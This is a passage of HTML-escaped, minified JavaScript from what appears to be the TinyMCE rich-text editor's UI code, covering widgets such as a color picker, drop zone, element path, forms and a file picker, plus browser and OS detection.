t=r.getEl(&quot;status&quot;),n=r.classPrefix,i=e.value;we.css(t,&quot;display&quot;,&quot;none&quot;===i?&quot;none&quot;:&quot;&quot;),we.toggleClass(t,n+&quot;i-checkmark&quot;,&quot;ok&quot;===i),we.toggleClass(t,n+&quot;i-warning&quot;,&quot;warn&quot;===i),we.toggleClass(t,n+&quot;i-error&quot;,&quot;error&quot;===i),r.classes.toggle(&quot;has-status&quot;,&quot;none&quot;!==i),r.repaint()}),we.on(r.getEl(&quot;status&quot;),&quot;mouseleave&quot;,function(){r.tooltip().hide()}),r.on(&quot;cancel&quot;,function(e){r.menu&amp;&amp;r.menu.visible()&amp;&amp;(e.stopPropagation(),r.hideMenu())});var n=function(e,t){t&amp;&amp;0&lt;t.items().length&amp;&amp;t.items().eq(e)[0].focus()};return r.on(&quot;keydown&quot;,function(e){var t=e.keyCode;&quot;INPUT&quot;===e.target.nodeName&amp;&amp;(t===Zt.DOWN?(e.preventDefault(),r.fire(&quot;autocomplete&quot;),n(0,r.menu)):t===Zt.UP&amp;&amp;(e.preventDefault(),n(-1,r.menu)))}),r._super()},remove:function(){ye(this.getEl(&quot;inp&quot;)).off(),this.menu&amp;&amp;this.menu.remove(),this._super()}}),en=Qt.extend({init:function(e){var t=this;e.spellcheck=!1,e.onaction&amp;&amp;(e.icon=&quot;none&quot;),t._super(e),t.classes.add(&quot;colorbox&quot;),t.on(&quot;change keyup postrender&quot;,function(){t.repaintColor(t.value())})},repaintColor:function(e){var t=this.getEl(&quot;open&quot;),n=t?t.getElementsByTagName(&quot;i&quot;)[0]:null;if(n)try{n.style.background=e}catch(i){}},bindStates:function(){var t=this;return t.state.on(&quot;change:value&quot;,function(e){t.state.get(&quot;rendered&quot;)&amp;&amp;t.repaintColor(e.value)}),t._super()}}),tn=jt.extend({showPanel:function(){var t=this,e=t.settings;if(t.classes.add(&quot;opened&quot;),t.panel)t.panel.show();else{var n=e.panel;n.type&amp;&amp;(n={layout:&quot;grid&quot;,items:n}),n.role=n.role||&quot;dialog&quot;,n.popover=!0,n.autohide=!0,n.ariaRoot=!0,t.panel=new Ct(n).on(&quot;hide&quot;,function(){t.classes.remove(&quot;opened&quot;)}).on(&quot;cancel&quot;,function(e){e.stopPropagation(),t.focus(),t.hidePanel()}).parent(t).renderTo(t.getContainerElm()),t.panel.fire(&quot;show&quot;),t.panel.reflow()}var i=t.panel.testMoveRel(t.getEl(),e.popoverAlign||(t.isRtl()?[&quot;bc-tc&quot;,&quot;bc-tl&quot;,&quot;bc-tr&quot;]:[&quot;bc-tc&quot;,&quot;bc-tr&quot;,&quot;bc-tl&quot;,&quot;tc-bc&quot;,&quot;tc-br&quot;,&quot;tc-bl&quot;]));t.panel.classes.toggle(&quot;start&quot;,&quot;l&quot;===i.substr(-1)),t.panel.classes.toggle(&quot;end&quot;,&quot;r&quot;===i.substr(-1));var r=&quot;t&quot;===i.substr(0,1);t.panel.classes.toggle(&quot;bottom&quot;,!r),t.panel.classes.toggle(&quot;top&quot;,r),t.panel.moveRel(t.getEl(),i)},hidePanel:function(){this.panel&amp;&amp;this.panel.hide()},postRender:function(){var t=this;return t.aria(&quot;haspopup&quot;,!0),t.on(&quot;click&quot;,function(e){e.control===t&amp;&amp;(t.panel&amp;&amp;t.panel.visible()?t.hidePanel():(t.showPanel(),t.panel.focus(!!e.aria)))}),t._super()},remove:function(){return this.panel&amp;&amp;(this.panel.remove(),this.panel=null),this._super()}}),nn=p.DOM,rn=tn.extend({init:function(e){this._super(e),this.classes.add(&quot;splitbtn&quot;),this.classes.add(&quot;colorbutton&quot;)},color:function(e){return e?(this._color=e,this.getEl(&quot;preview&quot;).style.backgroundColor=e,this):this._color},resetColor:function(){return this._color=null,this.getEl(&quot;preview&quot;).style.backgroundColor=null,this},renderHtml:function(){var e=this,t=e._id,n=e.classPrefix,i=e.state.get(&quot;text&quot;),r=e.settings.icon?n+&quot;ico &quot;+n+&quot;i-&quot;+e.settings.icon:&quot;&quot;,o=e.settings.image?&quot; style=\&quot;background-image: url(&#039;&quot;+e.settings.image+&quot;&#039;)\&quot;&quot;:&quot;&quot;,s=&quot;&quot;;return i&amp;&amp;(e.classes.add(&quot;btn-has-text&quot;),s=&#039;&lt;span class=&quot;&#039;+n+&#039;txt&quot;&gt;&#039;+e.encode(i)+&quot;&lt;/span&gt;&quot;),&#039;&lt;div id=&quot;&#039;+t+&#039;&quot; class=&quot;&#039;+e.classes+&#039;&quot; role=&quot;button&quot; tabindex=&quot;-1&quot; aria-haspopup=&quot;true&quot;&gt;&lt;button role=&quot;presentation&quot; hidefocus=&quot;1&quot; type=&quot;button&quot; tabindex=&quot;-1&quot;&gt;&#039;+(r?&#039;&lt;i class=&quot;&#039;+r+&#039;&quot;&#039;+o+&quot;&gt;&lt;/i&gt;&quot;:&quot;&quot;)+&#039;&lt;span id=&quot;&#039;+t+&#039;-preview&quot; class=&quot;&#039;+n+&#039;preview&quot;&gt;&lt;/span&gt;&#039;+s+&#039;&lt;/button&gt;&lt;button type=&quot;button&quot; class=&quot;&#039;+n+&#039;open&quot; hidefocus=&quot;1&quot; tabindex=&quot;-1&quot;&gt; &lt;i class=&quot;&#039;+n+&#039;caret&quot;&gt;&lt;/i&gt;&lt;/button&gt;&lt;/div&gt;&#039;},postRender:function(){var t=this,n=t.settings.onclick;return t.on(&quot;click&quot;,function(e){e.aria&amp;&amp;&quot;down&quot;===e.aria.key||e.control!==t||nn.getParent(e.target,&quot;.&quot;+t.classPrefix+&quot;open&quot;)||(e.stopImmediatePropagation(),n.call(t,e))}),delete t.settings.onclick,t._super()}}),on=tinymce.util.Tools.resolve(&quot;tinymce.util.Color&quot;),sn=Nt.extend({Defaults:{classes:&quot;widget colorpicker&quot;},init:function(e){this._super(e)},postRender:function(){var n,i,r,o,s,a=this,l=a.color();function u(e,t){var n,i,r=we.getPos(e);return n=t.pageX-r.x,i=t.pageY-r.y,{x:n=Math.max(0,Math.min(n/e.clientWidth,1)),y:i=Math.max(0,Math.min(i/e.clientHeight,1))}}function c(e,t){var n=(360-e.h)/360;we.css(r,{top:100*n+&quot;%&quot;}),t||we.css(s,{left:e.s+&quot;%&quot;,top:100-e.v+&quot;%&quot;}),o.style.background=on({s:100,v:100,h:e.h}).toHex(),a.color().parse({s:e.s,v:e.v,h:e.h})}function e(e){var t;t=u(o,e),n.s=100*t.x,n.v=100*(1-t.y),c(n),a.fire(&quot;change&quot;)}function t(e){var t;t=u(i,e),(n=l.toHsv()).h=360*(1-t.y),c(n,!0),a.fire(&quot;change&quot;)}i=a.getEl(&quot;h&quot;),r=a.getEl(&quot;hp&quot;),o=a.getEl(&quot;sv&quot;),s=a.getEl(&quot;svp&quot;),a._repaint=function(){c(n=l.toHsv())},a._super(),a._svdraghelper=new ct(a._id+&quot;-sv&quot;,{start:e,drag:e}),a._hdraghelper=new ct(a._id+&quot;-h&quot;,{start:t,drag:t}),a._repaint()},rgb:function(){return this.color().toRgb()},value:function(e){if(!arguments.length)return this.color().toHex();this.color().parse(e),this._rendered&amp;&amp;this._repaint()},color:function(){return this._color||(this._color=on()),this._color},renderHtml:function(){var e,t=this._id,o=this.classPrefix,s=&quot;#ff0000,#ff0080,#ff00ff,#8000ff,#0000ff,#0080ff,#00ffff,#00ff80,#00ff00,#80ff00,#ffff00,#ff8000,#ff0000&quot;;return e=&#039;&lt;div id=&quot;&#039;+t+&#039;-h&quot; class=&quot;&#039;+o+&#039;colorpicker-h&quot; style=&quot;background: -ms-linear-gradient(top,&#039;+s+&quot;);background: linear-gradient(to bottom,&quot;+s+&#039;);&quot;&gt;&#039;+function(){var e,t,n,i,r=&quot;&quot;;for(n=&quot;filter:progid:DXImageTransform.Microsoft.gradient(GradientType=0,startColorstr=&quot;,e=0,t=(i=s.split(&quot;,&quot;)).length-1;e&lt;t;e++)r+=&#039;&lt;div class=&quot;&#039;+o+&#039;colorpicker-h-chunk&quot; style=&quot;height:&#039;+100/t+&quot;%;&quot;+n+i[e]+&quot;,endColorstr=&quot;+i[e+1]+&quot;);-ms-&quot;+n+i[e]+&quot;,endColorstr=&quot;+i[e+1]+&#039;)&quot;&gt;&lt;/div&gt;&#039;;return r}()+&#039;&lt;div id=&quot;&#039;+t+&#039;-hp&quot; class=&quot;&#039;+o+&#039;colorpicker-h-marker&quot;&gt;&lt;/div&gt;&lt;/div&gt;&#039;,&#039;&lt;div id=&quot;&#039;+t+&#039;&quot; class=&quot;&#039;+this.classes+&#039;&quot;&gt;&lt;div id=&quot;&#039;+t+&#039;-sv&quot; class=&quot;&#039;+o+&#039;colorpicker-sv&quot;&gt;&lt;div class=&quot;&#039;+o+&#039;colorpicker-overlay1&quot;&gt;&lt;div class=&quot;&#039;+o+&#039;colorpicker-overlay2&quot;&gt;&lt;div id=&quot;&#039;+t+&#039;-svp&quot; class=&quot;&#039;+o+&#039;colorpicker-selector1&quot;&gt;&lt;div class=&quot;&#039;+o+&#039;colorpicker-selector2&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#039;+e+&quot;&lt;/div&gt;&quot;}}),an=Nt.extend({init:function(e){e=w.extend({height:100,text:&quot;Drop an image here&quot;,multiple:!1,accept:null},e),this._super(e),this.classes.add(&quot;dropzone&quot;),e.multiple&amp;&amp;this.classes.add(&quot;multiple&quot;)},renderHtml:function(){var e,t,n=this.settings;return e={id:this._id,hidefocus:&quot;1&quot;},t=we.create(&quot;div&quot;,e,&quot;&lt;span&gt;&quot;+this.translate(n.text)+&quot;&lt;/span&gt;&quot;),n.height&amp;&amp;we.css(t,&quot;height&quot;,n.height+&quot;px&quot;),n.width&amp;&amp;we.css(t,&quot;width&quot;,n.width+&quot;px&quot;),t.className=this.classes,t.outerHTML},postRender:function(){var i=this,e=function(e){e.preventDefault(),i.classes.toggle(&quot;dragenter&quot;),i.getEl().className=i.classes};i._super(),i.$el.on(&quot;dragover&quot;,function(e){e.preventDefault()}),i.$el.on(&quot;dragenter&quot;,e),i.$el.on(&quot;dragleave&quot;,e),i.$el.on(&quot;drop&quot;,function(e){if(e.preventDefault(),!i.state.get(&quot;disabled&quot;)){var t=function(e){var t=i.settings.accept;if(&quot;string&quot;!=typeof t)return e;var n=new RegExp(&quot;(&quot;+t.split(/\s*,\s*/).join(&quot;|&quot;)+&quot;)$&quot;,&quot;i&quot;);return w.grep(e,function(e){return n.test(e.name)})}(e.dataTransfer.files);i.value=function(){return t.length?i.settings.multiple?t:t[0]:null},t.length&amp;&amp;i.fire(&quot;change&quot;,e)}})},remove:function(){this.$el.off(),this._super()}}),ln=Nt.extend({init:function(e){var n=this;e.delimiter||(e.delimiter=&quot;\xbb&quot;),n._super(e),n.classes.add(&quot;path&quot;),n.canFocus=!0,n.on(&quot;click&quot;,function(e){var t;(t=e.target.getAttribute(&quot;data-index&quot;))&amp;&amp;n.fire(&quot;select&quot;,{value:n.row()[t],index:t})}),n.row(n.settings.row)},focus:function(){return this.getEl().firstChild.focus(),this},row:function(e){return arguments.length?(this.state.set(&quot;row&quot;,e),this):this.state.get(&quot;row&quot;)},renderHtml:function(){return&#039;&lt;div id=&quot;&#039;+this._id+&#039;&quot; class=&quot;&#039;+this.classes+&#039;&quot;&gt;&#039;+this._getDataPathHtml(this.state.get(&quot;row&quot;))+&quot;&lt;/div&gt;&quot;},bindStates:function(){var t=this;return t.state.on(&quot;change:row&quot;,function(e){t.innerHtml(t._getDataPathHtml(e.value))}),t._super()},_getDataPathHtml:function(e){var t,n,i=e||[],r=&quot;&quot;,o=this.classPrefix;for(t=0,n=i.length;t&lt;n;t++)r+=(0&lt;t?&#039;&lt;div class=&quot;&#039;+o+&#039;divider&quot; aria-hidden=&quot;true&quot;&gt; &#039;+this.settings.delimiter+&quot; &lt;/div&gt;&quot;:&quot;&quot;)+&#039;&lt;div role=&quot;button&quot; class=&quot;&#039;+o+&quot;path-item&quot;+(t===n-1?&quot; &quot;+o+&quot;last&quot;:&quot;&quot;)+&#039;&quot; data-index=&quot;&#039;+t+&#039;&quot; tabindex=&quot;-1&quot; id=&quot;&#039;+this._id+&quot;-&quot;+t+&#039;&quot; aria-level=&quot;&#039;+(t+1)+&#039;&quot;&gt;&#039;+i[t].name+&quot;&lt;/div&gt;&quot;;return r||(r=&#039;&lt;div class=&quot;&#039;+o+&#039;path-item&quot;&gt;\xa0&lt;/div&gt;&#039;),r}}),un=ln.extend({postRender:function(){var o=this,s=o.settings.editor;function a(e){if(1===e.nodeType){if(&quot;BR&quot;===e.nodeName||e.getAttribute(&quot;data-mce-bogus&quot;))return!0;if(&quot;bookmark&quot;===e.getAttribute(&quot;data-mce-type&quot;))return!0}return!1}return!1!==s.settings.elementpath&amp;&amp;(o.on(&quot;select&quot;,function(e){s.focus(),s.selection.select(this.row()[e.index].element),s.nodeChanged()}),s.on(&quot;nodeChange&quot;,function(e){for(var t=[],n=e.parents,i=n.length;i--;)if(1===n[i].nodeType&amp;&amp;!a(n[i])){var r=s.fire(&quot;ResolveName&quot;,{name:n[i].nodeName.toLowerCase(),target:n[i]});if(r.isDefaultPrevented()||t.push({name:r.name,element:n[i]}),r.isPropagationStopped())break}o.row(t)})),o._super()}}),cn=lt.extend({Defaults:{layout:&quot;flex&quot;,align:&quot;center&quot;,defaults:{flex:1}},renderHtml:function(){var e=this,t=e._layout,n=e.classPrefix;return e.classes.add(&quot;formitem&quot;),t.preRender(e),&#039;&lt;div id=&quot;&#039;+e._id+&#039;&quot; class=&quot;&#039;+e.classes+&#039;&quot; hidefocus=&quot;1&quot; tabindex=&quot;-1&quot;&gt;&#039;+(e.settings.title?&#039;&lt;div id=&quot;&#039;+e._id+&#039;-title&quot; class=&quot;&#039;+n+&#039;title&quot;&gt;&#039;+e.settings.title+&quot;&lt;/div&gt;&quot;:&quot;&quot;)+&#039;&lt;div id=&quot;&#039;+e._id+&#039;-body&quot; class=&quot;&#039;+e.bodyClasses+&#039;&quot;&gt;&#039;+(e.settings.html||&quot;&quot;)+t.renderHtml(e)+&quot;&lt;/div&gt;&lt;/div&gt;&quot;}}),dn=lt.extend({Defaults:{containerCls:&quot;form&quot;,layout:&quot;flex&quot;,direction:&quot;column&quot;,align:&quot;stretch&quot;,flex:1,padding:15,labelGap:30,spacing:10,callbacks:{submit:function(){this.submit()}}},preRender:function(){var i=this,e=i.items();i.settings.formItemDefaults||(i.settings.formItemDefaults={layout:&quot;flex&quot;,autoResize:&quot;overflow&quot;,defaults:{flex:1}}),e.each(function(e){var t,n=e.settings.label;n&amp;&amp;((t=new cn(w.extend({items:{type:&quot;label&quot;,id:e._id+&quot;-l&quot;,text:n,flex:0,forId:e._id,disabled:e.disabled()}},i.settings.formItemDefaults))).type=&quot;formitem&quot;,e.aria(&quot;labelledby&quot;,e._id+&quot;-l&quot;),&quot;undefined&quot;==typeof e.settings.flex&amp;&amp;(e.settings.flex=1),i.replace(e,t),t.add(e))})},submit:function(){return this.fire(&quot;submit&quot;,{data:this.toJSON()})},postRender:function(){this._super(),this.fromJSON(this.settings.data)},bindStates:function(){var n=this;function e(){var e,t,i=0,r=[];if(!1!==n.settings.labelGapCalc)for((&quot;children&quot;===n.settings.labelGapCalc?n.find(&quot;formitem&quot;):n.items()).filter(&quot;formitem&quot;).each(function(e){var t=e.items()[0],n=t.getEl().clientWidth;i=i&lt;n?n:i,r.push(t)}),t=n.settings.labelGap||0,e=r.length;e--;)r[e].settings.minWidth=i+t}n._super(),n.on(&quot;show&quot;,e),e()}}),fn=dn.extend({Defaults:{containerCls:&quot;fieldset&quot;,layout:&quot;flex&quot;,direction:&quot;column&quot;,align:&quot;stretch&quot;,flex:1,padding:&quot;25 15 5 15&quot;,labelGap:30,spacing:10,border:1},renderHtml:function(){var e=this,t=e._layout,n=e.classPrefix;return e.preRender(),t.preRender(e),&#039;&lt;fieldset id=&quot;&#039;+e._id+&#039;&quot; class=&quot;&#039;+e.classes+&#039;&quot; hidefocus=&quot;1&quot; tabindex=&quot;-1&quot;&gt;&#039;+(e.settings.title?&#039;&lt;legend id=&quot;&#039;+e._id+&#039;-title&quot; class=&quot;&#039;+n+&#039;fieldset-title&quot;&gt;&#039;+e.settings.title+&quot;&lt;/legend&gt;&quot;:&quot;&quot;)+&#039;&lt;div id=&quot;&#039;+e._id+&#039;-body&quot; class=&quot;&#039;+e.bodyClasses+&#039;&quot;&gt;&#039;+(e.settings.html||&quot;&quot;)+t.renderHtml(e)+&quot;&lt;/div&gt;&lt;/fieldset&gt;&quot;}}),hn=0,mn=function(e){if(null===e||e===undefined)throw new Error(&quot;Node cannot be null or undefined&quot;);return{dom:k(e)}},gn={fromHtml:function(e,t){var n=(t||_.document).createElement(&quot;div&quot;);if(n.innerHTML=e,!n.hasChildNodes()||1&lt;n.childNodes.length)throw _.console.error(&quot;HTML does not have a single root node&quot;,e),new Error(&quot;HTML must have a single root node&quot;);return mn(n.childNodes[0])},fromTag:function(e,t){var n=(t||_.document).createElement(e);return mn(n)},fromText:function(e,t){var n=(t||_.document).createTextNode(e);return mn(n)},fromDom:mn,fromPoint:function(e,t,n){var i=e.dom();return N.from(i.elementFromPoint(t,n)).map(mn)}},pn=(_.Node.ATTRIBUTE_NODE,_.Node.CDATA_SECTION_NODE,_.Node.COMMENT_NODE,_.Node.DOCUMENT_NODE),vn=(_.Node.DOCUMENT_TYPE_NODE,_.Node.DOCUMENT_FRAGMENT_NODE,_.Node.ELEMENT_NODE),bn=(_.Node.TEXT_NODE,_.Node.PROCESSING_INSTRUCTION_NODE,_.Node.ENTITY_REFERENCE_NODE,_.Node.ENTITY_NODE,_.Node.NOTATION_NODE,&quot;undefined&quot;!=typeof _.window?_.window:Function(&quot;return this;&quot;)(),function(e,t){var n=function(e,t){for(var n=0;n&lt;e.length;n++){var i=e[n];if(i.test(t))return i}return undefined}(e,t);if(!n)return{major:0,minor:0};var i=function(e){return Number(t.replace(n,&quot;$&quot;+e))};return xn(i(1),i(2))}),yn=function(){return xn(0,0)},xn=function(e,t){return{major:e,minor:t}},wn={nu:xn,detect:function(e,t){var n=String(t).toLowerCase();return 0===e.length?yn():bn(e,n)},unknown:yn},_n=&quot;Firefox&quot;,Rn=function(e,t){return function(){return t===e}},Cn=function(e){var t=e.current;return{current:t,version:e.version,isEdge:Rn(&quot;Edge&quot;,t),isChrome:Rn(&quot;Chrome&quot;,t),isIE:Rn(&quot;IE&quot;,t),isOpera:Rn(&quot;Opera&quot;,t),isFirefox:Rn(_n,t),isSafari:Rn(&quot;Safari&quot;,t)}},En={unknown:function(){return Cn({current:undefined,version:wn.unknown()})},nu:Cn,edge:k(&quot;Edge&quot;),chrome:k(&quot;Chrome&quot;),ie:k(&quot;IE&quot;),opera:k(&quot;Opera&quot;),firefox:k(_n),safari:k(&quot;Safari&quot;)},kn=&quot;Windows&quot;,Hn=&quot;Android&quot;,Sn=&quot;Solaris&quot;,Tn=&quot;FreeBSD&quot;,Mn=function(e,t){return function(){return t===e}},Nn=function(e){var t=e.current;return{current:t,version:e.version,isWindows:Mn(kn,t),isiOS:Mn(&quot;iOS&quot;,t),isAndroid:Mn(Hn,t),isOSX:Mn(&quot;OSX&quot;,t),isLinux:Mn(&quot;Linux&quot;,t),isSolaris:Mn(Sn,t),isFreeBSD:Mn(Tn,t)}},Pn={unknown:function(){return Nn({current:undefined,version:wn.unknown()})},nu:Nn,windows:k(kn),ios:k(&quot;iOS&quot;),android:k(Hn),linux:k(&quot;Linux&quot;),osx:k(&quot;OSX&quot;),solaris:k(Sn),freebsd:k(Tn)},Wn=function(e,t){var n=String(t).toLowerCase();return function(e,t){for(var n=0,i=e.length;n&lt;i;n++){var r=e[n];if(t(r,n))return N.some(r)}return N.none()}(e,function(e){return e.search(n)})},Dn=function(e,n){return Wn(e,n).map(function(e){var t=wn.detect(e.versionRegexes,n);return{current:e.name,version:t}})},On=function(e,n){return Wn(e,n).map(function(e){var t=wn.detect(e.versionRegexes,n);return{current:e.name,version:t}})},An=function(e,t){return-1!==e.indexOf(t)},Bn=/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,Ln=function(t){return function(e){return An(e,t)}},zn=[{name:&quot;Edge&quot;,versionRegexes:[/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],search:function(e){return An(e,&quot;edge/&quot;)&amp;&amp;An(e,&quot;chrome&quot;)&amp;&amp;An(e,&quot;safari&quot;)&amp;&amp;An(e,&quot;applewebkit&quot;)}},{name:&quot;Chrome&quot;,versionRegexes:[/.*?chrome\/([0-9]+)\.([0-9]+).*/,Bn],search:function(e){return An(e,&quot;chrome&quot;)&amp;&amp;!An(e,&quot;chromeframe&quot;)}},{name:&quot;IE&quot;,versionRegexes:[/.*?msie\ ?([0-9]+)\.([0-9]+).*/,/.*?rv:([0-9]+)\.([0-9]+).*/],search:function(e){return An(e,&quot;msie&quot;)||An(e,&quot;trident&quot;)}},{name:&quot;Opera&quot;,versionRegexes:[Bn,/.*?opera\/([0-9]+)\.([0-9]+).*/],search:Ln(&quot;opera&quot;)},{name:&quot;Firefox&quot;,versionRegexes:[/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],search:Ln(&quot;firefox&quot;)},{name:&quot;Safari&quot;,versionRegexes:[Bn,/.*?cpu os ([0-9]+)_([0-9]+).*/],search:function(e){return(An(e,&quot;safari&quot;)||An(e,&quot;mobile/&quot;))&amp;&amp;An(e,&quot;applewebkit&quot;)}}],In=[{name:&quot;Windows&quot;,search:Ln(&quot;win&quot;),versionRegexes:[/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]},{name:&quot;iOS&quot;,search:function(e){return An(e,&quot;iphone&quot;)||An(e,&quot;ipad&quot;)},versionRegexes:[/.*?version\/\ ?([0-9]+)\.([0-9]+).*/,/.*cpu os ([0-9]+)_([0-9]+).*/,/.*cpu iphone os ([0-9]+)_([0-9]+).*/]},{name:&quot;Android&quot;,search:Ln(&quot;android&quot;),versionRegexes:[/.*?android\ ?([0-9]+)\.([0-9]+).*/]},{name:&quot;OSX&quot;,search:Ln(&quot;os x&quot;),versionRegexes:[/.*?os\ x\ ?([0-9]+)_([0-9]+).*/]},{name:&quot;Linux&quot;,search:Ln(&quot;linux&quot;),versionRegexes:[]},{name:&quot;Solaris&quot;,search:Ln(&quot;sunos&quot;),versionRegexes:[]},{name:&quot;FreeBSD&quot;,search:Ln(&quot;freebsd&quot;),versionRegexes:[]}],Fn={browsers:k(zn),oses:k(In)},Un=function(e){var t,n,i,r,o,s,a,l,u,c,d,f=Fn.browsers(),h=Fn.oses(),m=Dn(f,e).fold(En.unknown,En.nu),g=On(h,e).fold(Pn.unknown,Pn.nu);return{browser:m,os:g,deviceType:(n=m,i=e,r=(t=g).isiOS()&amp;&amp;!0===/ipad/i.test(i),o=t.isiOS()&amp;&amp;!r,s=t.isAndroid()&amp;&amp;3===t.version.major,a=t.isAndroid()&amp;&amp;4===t.version.major,l=r||s||a&amp;&amp;!0===/mobile/i.test(i),u=t.isiOS()||t.isAndroid(),c=u&amp;&amp;!l,d=n.isSafari()&amp;&amp;t.isiOS()&amp;&amp;!1===/safari/i.test(i),{isiPad:k(r),isiPhone:k(o),isTablet:k(l),isPhone:k(c),isTouch:k(u),isAndroid:t.isAndroid,isiOS:t.isiOS,isWebView:k(d)})}},Vn=(Vt=!(Ft=function(){var e=_.navigator.userAgent;return Un(e)}),function(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t];return Vt||(Vt=!0,Ut=Ft.apply(null,e)),Ut}),Yn=vn,$n=pn,qn=function(e){return e.nodeType!==Yn&amp;&amp;e.nodeType!==$n||0===e.childElementCount},Xn=(Vn().browser.isIE(),function(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t]}(&quot;element&quot;,&quot;offset&quot;),w.trim),jn=function(t){return function(e){if(e&amp;&amp;1===e.nodeType){if(e.contentEditable===t)return!0;if(e.getAttribute(&quot;data-mce-contenteditable&quot;)===t)return!0}return!1}},Jn=jn(&quot;true&quot;),Gn=jn(&quot;false&quot;),Kn=function(e,t,n,i,r){return{type:e,title:t,url:n,level:i,attach:r}},Zn=function(e){return e.innerText||e.textContent},Qn=function(e){return e.id?e.id:(t=&quot;h&quot;,n=(new Date).getTime(),t+&quot;_&quot;+Math.floor(1e9*Math.random())+ ++hn+String(n));var t,n},ei=function(e){return(t=e)&amp;&amp;&quot;A&quot;===t.nodeName&amp;&amp;(t.id||t.name)&amp;&amp;ni(e);var t},ti=function(e){return e&amp;&amp;/^(H[1-6])$/.test(e.nodeName)},ni=function(e){return function(e){for(;e=e.parentNode;){var t=e.contentEditable;if(t&amp;&amp;&quot;inherit&quot;!==t)return Jn(e)}return!1}(e)&amp;&amp;!Gn(e)},ii=function(e){return ti(e)&amp;&amp;ni(e)},ri=function(e){var t,n=Qn(e);return Kn(&quot;header&quot;,Zn(e),&quot;#&quot;+n,ti(t=e)?parseInt(t.nodeName.substr(1),10):0,function(){e.id=n})},oi=function(e){var t=e.id||e.name,n=Zn(e);return Kn(&quot;anchor&quot;,n||&quot;#&quot;+t,&quot;#&quot;+t,0,E)},si=function(e){var t,n,i,r,o,s;return t=&quot;h1,h2,h3,h4,h5,h6,a:not([href])&quot;,n=e,G((Vn().browser.isIE(),function(){for(var e=[],t=0;t&lt;arguments.length;t++)e[t]=arguments[t]}(&quot;element&quot;,&quot;offset&quot;),i=gn.fromDom(n),r=t,s=(o=i)===undefined?_.document:o.dom(),qn(s)?[]:G(s.querySelectorAll(r),gn.fromDom)),function(e){return e.dom()})},ai=function(e){return 0&lt;Xn(e.title).length},li=function(e){var t,n=si(e);return Z((t=n,G(Z(t,ii),ri)).concat(G(Z(n,ei),oi)),ai)},ui={},ci=function(e){return{title:e.title,value:{title:{raw:e.title},url:e.url,attach:e.attach}}},di=function(e,t){return{title:e,value:{title:e,url:t,attach:E}}},fi=function(e,t,n){var i=t in e?e[t]:n;return!1===i?null:i},hi=function(e,i,r,t){var n,o,s,a,l,u,c={title:&quot;-&quot;},d=function(e){var t=e.hasOwnProperty(r)?e[r]:[],n=Z(t,function(e){return t=e,!J(i,function(e){return e.url===t});var t});return w.map(n,function(e){return{title:e,value:{title:e,url:e,attach:E}}})},f=function(t){var e,n=Z(i,function(e){return e.type===t});return e=n,w.map(e,ci)};return!1===t.typeahead_urls?[]:&quot;file&quot;===r?(n=[mi(e,d(ui)),mi(e,f(&quot;header&quot;)),mi(e,(a=f(&quot;anchor&quot;),l=fi(t,&quot;anchor_top&quot;,&quot;#top&quot;),u=fi(t,&quot;anchor_bottom&quot;,&quot;#bottom&quot;),null!==l&amp;&amp;a.unshift(di(&quot;&lt;top&gt;&quot;,l)),null!==u&amp;&amp;a.push(di(&quot;&lt;bottom&gt;&quot;,u)),a))],o=function(e,t){return 0===e.length||0===t.length?e.concat(t):e.concat(c,t)},s=[],K(n,function(e){s=o(s,e)}),s):mi(e,d(ui))},mi=function(e,t){var n=e.toLowerCase(),i=w.grep(t,function(e){return-1!==e.title.toLowerCase().indexOf(n)});return 1===i.length&amp;&amp;i[0].title===e?[]:i},gi=function(r,i,o,s){var t=function(e){var t=li(o),n=hi(e,t,s,i);r.showAutoComplete(n,e)};r.on(&quot;autocomplete&quot;,function(){t(r.value())}),r.on(&quot;selectitem&quot;,function(e){var t=e.value;r.value(t.url);var n,i=(n=t.title).raw?n.raw:n;&quot;image&quot;===s?r.fire(&quot;change&quot;,{meta:{alt:i,attach:t.attach}}):r.fire(&quot;change&quot;,{meta:{text:i,attach:t.attach}}),r.focus()}),r.on(&quot;click&quot;,function(e){0===r.value().length&amp;&amp;&quot;INPUT&quot;===e.target.nodeName&amp;&amp;t(&quot;&quot;)}),r.on(&quot;PostRender&quot;,function(){r.getRoot().on(&quot;submit&quot;,function(e){var t,n,i;e.isDefaultPrevented()||(t=r.value(),i=ui[n=s],/^https?/.test(t)&amp;&amp;(i?j(i,t).isNone()&amp;&amp;(ui[n]=i.slice(0,5).concat(t)):ui[n]=[t]))})})},pi=function(o,e,n){var i=e.filepicker_validator_handler;i&amp;&amp;o.state.on(&quot;change:value&quot;,function(e){var t;0!==(t=e.value).length?i({url:t,type:n},function(e){var t,n,i,r=(n=(t=e).status,i=t.message,&quot;valid&quot;===n?{status:&quot;ok&quot;,message:i}:&quot;unknown&quot;===n?{status:&quot;warn&quot;,message:i}:&quot;invalid&quot;===n?{status:&quot;warn&quot;,message:i}:{status:&quot;none&quot;,message:&quot;&quot;});o.statusMessage(r.message),o.statusLevel(r.status)}):o.statusLevel(&quot;none&quot;)})},vi=Qt.extend({Statics:{clearHistory:function(){ui={}}},init:function(e){var t,n,i,r=this,o=window.tinymce?window.tinymce.activeEditor:l.activeEditor,s=o.settings,a=e.filetype;e.spellcheck=!1,(i=s.file_picker_types||s.file_browser_callback_types)&amp;&amp;(i=w.makeMap(i,/[, ]/)),i&amp;&amp;!i[a]||(!(n=s.file_picker_callback)||i&amp;&amp;!i[a]?!(n=s.file_browser_callback)||i&amp;&amp;!i[a]||(t=function(){n(r.getEl(&quot;inp&quot;).id,r.value(),a,window)}):t=function(){var e=r.fire(&quot;beforecall&quot;).meta;e=w.extend({filetype:a},e),n.call(o,function(e,t){r.value(e).fire(&quot;change&quot;,{meta:t})},r.value(),e)}),t&amp;&amp;(e.icon=&quot;browse&quot;,e.onaction=t),r._super(e),r.classes.add(&quot;filepicker&quot;),gi(r,s,o.getBody(),a),pi(r,s,a)}}),bi=Xt.extend({recalc:function(e){var 